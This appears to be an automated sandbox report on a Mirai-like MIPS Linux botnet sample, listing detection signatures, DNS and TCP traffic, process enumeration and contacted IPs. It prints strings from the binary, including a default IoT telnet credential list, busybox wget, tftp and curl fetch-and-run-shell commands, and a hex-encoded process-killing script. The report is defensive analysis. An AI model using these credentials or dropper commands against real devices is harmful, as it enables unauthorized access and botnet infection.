Linux Analysis Report
la.bot.mipsel.elf

Overview

General Information

Sample name: la.bot.mipsel.elf
Analysis ID: 1542967
MD5: cbb673c40027a0fb757f4ee8ab99c0c3
SHA1: f33b1535880d8f13276eb38278bf53b30801329d
SHA256: 3ac660ec482c21549ef08e9751f2b2909ecf2f3ddcc02666f74103854d273653
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.mipsel.elf ReversingLabs: Detection: 31%
Found strings indicative of a multi-platform dropper
Source: la.bot.mipsel.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mipsel.elf String: '/proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/
Source: la.bot.mipsel.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4P

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 156.244.19.135 ports 23789,2,3,7,8,9
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: eighteen.pirate. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:42558 -> 156.244.19.135:23789
Sample listens on a socket
Source: /tmp/la.bot.mipsel.elf (PID: 6237) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 92.245.55.34
Source: unknown TCP traffic detected without corresponding DNS query: 29.169.61.79
Source: unknown TCP traffic detected without corresponding DNS query: 92.245.55.34
Source: unknown TCP traffic detected without corresponding DNS query: 29.169.61.79
Source: unknown TCP traffic detected without corresponding DNS query: 140.152.54.42
Source: unknown TCP traffic detected without corresponding DNS query: 140.152.54.42
Source: unknown TCP traffic detected without corresponding DNS query: 196.40.102.26
Source: unknown TCP traffic detected without corresponding DNS query: 196.40.102.26
Source: unknown TCP traffic detected without corresponding DNS query: 98.24.165.144
Source: unknown TCP traffic detected without corresponding DNS query: 98.24.165.144
Source: unknown TCP traffic detected without corresponding DNS query: 59.2.142.108
Source: unknown TCP traffic detected without corresponding DNS query: 59.2.142.108
Source: unknown TCP traffic detected without corresponding DNS query: 24.108.233.127
Source: unknown TCP traffic detected without corresponding DNS query: 80.238.20.190
Source: unknown TCP traffic detected without corresponding DNS query: 24.108.233.127
Source: unknown TCP traffic detected without corresponding DNS query: 80.238.20.190
Source: unknown TCP traffic detected without corresponding DNS query: 116.137.192.98
Source: unknown TCP traffic detected without corresponding DNS query: 63.11.122.27
Source: unknown TCP traffic detected without corresponding DNS query: 116.137.192.98
Source: unknown TCP traffic detected without corresponding DNS query: 63.11.122.27
Source: unknown TCP traffic detected without corresponding DNS query: 190.105.66.243
Source: unknown TCP traffic detected without corresponding DNS query: 195.216.97.9
Source: unknown TCP traffic detected without corresponding DNS query: 190.105.66.243
Source: unknown TCP traffic detected without corresponding DNS query: 64.247.77.139
Source: unknown TCP traffic detected without corresponding DNS query: 195.216.97.9
Source: unknown TCP traffic detected without corresponding DNS query: 24.65.240.244
Source: unknown TCP traffic detected without corresponding DNS query: 64.247.77.139
Source: unknown TCP traffic detected without corresponding DNS query: 59.81.232.177
Source: unknown TCP traffic detected without corresponding DNS query: 24.65.240.244
Source: unknown TCP traffic detected without corresponding DNS query: 3.184.212.25
Source: unknown TCP traffic detected without corresponding DNS query: 59.81.232.177
Source: unknown TCP traffic detected without corresponding DNS query: 131.121.130.151
Source: unknown TCP traffic detected without corresponding DNS query: 3.184.212.25
Source: unknown TCP traffic detected without corresponding DNS query: 125.127.149.202
Source: unknown TCP traffic detected without corresponding DNS query: 131.121.130.151
Source: unknown TCP traffic detected without corresponding DNS query: 25.182.238.249
Source: unknown TCP traffic detected without corresponding DNS query: 125.127.149.202
Source: unknown TCP traffic detected without corresponding DNS query: 149.177.140.114
Source: unknown TCP traffic detected without corresponding DNS query: 178.37.176.180
Source: unknown TCP traffic detected without corresponding DNS query: 25.182.238.249
Source: unknown TCP traffic detected without corresponding DNS query: 27.152.50.118
Source: unknown TCP traffic detected without corresponding DNS query: 149.177.140.114
Source: unknown TCP traffic detected without corresponding DNS query: 223.69.122.117
Source: unknown TCP traffic detected without corresponding DNS query: 178.37.176.180
Source: unknown TCP traffic detected without corresponding DNS query: 27.152.50.118
Source: unknown TCP traffic detected without corresponding DNS query: 8.53.240.105
Source: unknown TCP traffic detected without corresponding DNS query: 223.69.122.117
Source: unknown TCP traffic detected without corresponding DNS query: 133.50.196.210
Source: unknown TCP traffic detected without corresponding DNS query: 8.229.146.57
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: DNS query: f.codingdrunk.
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn
Source: la.bot.mipsel.elf String found in binary or memory: http:///curl.sh
Source: la.bot.mipsel.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.mipsel.elf (PID: 6239) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal56.troj.linELF@0/0@10/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) File opened: /proc/83/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.mipsel.elf (PID: 6237) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mipsel.elf, 6237.1.00007ffc593e3000.00007ffc59404000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/la.bot.mipsel.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mipsel.elf
Source: la.bot.mipsel.elf, 6237.1.000055e873326000.000055e8733cd000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6237.1.000055e873326000.000055e8733cd000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6237.1.00007ffc593e3000.00007ffc59404000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
187.214.82.139
 unknown Mexico
8151 UninetSAdeCVMX false
121.30.41.222
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
13.76.16.240
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
194.1.63.16
 unknown Slovakia (SLOVAK Republic)
2607 SANETSlovakAcademicNetworkSK false
187.189.90.194
 unknown Mexico
17072 TOTALPLAYTELECOMUNICACIONESSADECVMX false
209.178.122.6
 unknown United States
7029 WINDSTREAMUS false
139.241.43.101
 unknown United States
395 AFCONC-BLOCK1-ASUS false
43.178.180.192
 unknown Japan 4249 LILLY-ASUS false
223.6.81.78
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
154.139.128.248
 unknown Egypt
37069 MOBINILEG false
160.236.78.44
 unknown unknown
11259 ANGOLATELECOMAO false
123.79.234.35
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
112.130.74.110
 unknown China
7641 CHINABTNChinaBroadcastingTVNetCN false
114.56.197.222
 unknown Indonesia
4795 INDOSATM2-IDINDOSATM2ASNID false
115.171.100.68
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
215.50.72.160
 unknown United States
721 DNIC-ASBLK-00721-00726US false
24.231.68.110
 unknown Canada
23184 PERSONACA false
100.234.250.38
 unknown United States
21928 T-MOBILE-AS21928US false
187.154.62.102
 unknown Mexico
8151 UninetSAdeCVMX false
122.16.179.89
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
90.198.158.59
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
212.153.27.110
 unknown Netherlands
702 UUNETUS false
99.130.216.189
 unknown United States
7018 ATT-INTERNET4US false
216.251.55.158
 unknown United States
14116 INFB-ASUS false
40.254.165.17
 unknown United States
4249 LILLY-ASUS false
196.220.102.2
 unknown Zimbabwe
37568 NUoS-ASNZW false
98.3.184.30
 unknown United States
11351 TWC-11351-NORTHEASTUS false
81.116.155.201
 unknown Italy
20959 TELECOM-ITALIA-DATA-COMIT false
213.140.13.147
 unknown Italy
12874 FASTWEBIT false
8.44.59.50
 unknown United States
13335 CLOUDFLARENETUS false
123.123.166.205
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
170.173.118.66
 unknown United States
46790 PHS-WAUS false
17.107.88.132
 unknown United States
714 APPLE-ENGINEERINGUS false
62.1.18.142
 unknown Greece
1241 FORTHNET-GRForthnetEU false
61.78.68.124
 unknown Korea Republic of
55615 DUZONBIZON-AS-KRDOUZONEBIZONKR false
182.30.222.137
 unknown Indonesia
4795 INDOSATM2-IDINDOSATM2ASNID false
164.47.131.252
 unknown United States
14737 CCCOESUS false
192.126.220.69
 unknown United States
397731 ELITEWORK-01US false
151.93.20.168
 unknown Italy
1267 ASN-WINDTREIUNETEU false
118.227.95.205
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
101.168.130.98
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
21.146.116.131
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
209.20.12.115
 unknown Canada
852 ASN852CA false
67.22.148.72
 unknown United States
393885 HAVILAND-TELUS false
103.120.254.97
 unknown India
137166 DSCONNPT-ASDigitalSatelliteConnectPvtLtdIN false
29.169.61.79
 unknown United States
7922 COMCAST-7922US false
2.197.233.18
 unknown Italy
16232 ASN-TIMServiceProviderIT false
50.158.39.158
 unknown United States
7922 COMCAST-7922US false
153.222.140.233
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
44.50.86.154
 unknown United States
7377 UCSDUS false
84.114.235.68
 unknown Austria
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
17.128.25.90
 unknown United States
714 APPLE-ENGINEERINGUS false
183.241.60.31
 unknown China
56048 CMNET-BEIJING-APChinaMobileCommunicaitonsCorporationCN false
171.187.164.232
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
130.142.16.167
 unknown Netherlands
137 ASGARRConsortiumGARREU false
95.95.178.145
 unknown Portugal
2860 NOS_COMUNICACOESPT false
158.134.52.27
 unknown United States
4616 HKPOLYU-HKInformationTechnologyServicesHK false
184.22.191.86
 unknown Thailand
133481 AIS-FIBRE-AS-APAISFibreTH false
79.250.86.204
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
209.92.39.78
 unknown United States
7349 AS-TIERP-7349US false
62.156.102.142
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
148.245.164.53
 unknown Mexico
6503 AxtelSABdeCVMX false
172.225.1.113
 unknown United States
16625 AKAMAI-ASUS false
154.74.86.196
 unknown Tanzania United Republic of
37035 MIC-ASTZ false
173.62.149.201
 unknown United States
701 UUNETUS false
152.157.175.243
 unknown United States
10430 WA-K20US false
189.13.183.113
 unknown Brazil
7738 TelemarNorteLesteSABR false
73.208.160.212
 unknown United States
7922 COMCAST-7922US false
188.131.163.43
 unknown China
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
41.90.106.232
 unknown Kenya
37061 SafaricomKE false
141.4.42.207
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
46.34.19.160
 unknown United Kingdom
8190 MDNXGB false
185.142.187.153
 unknown Germany
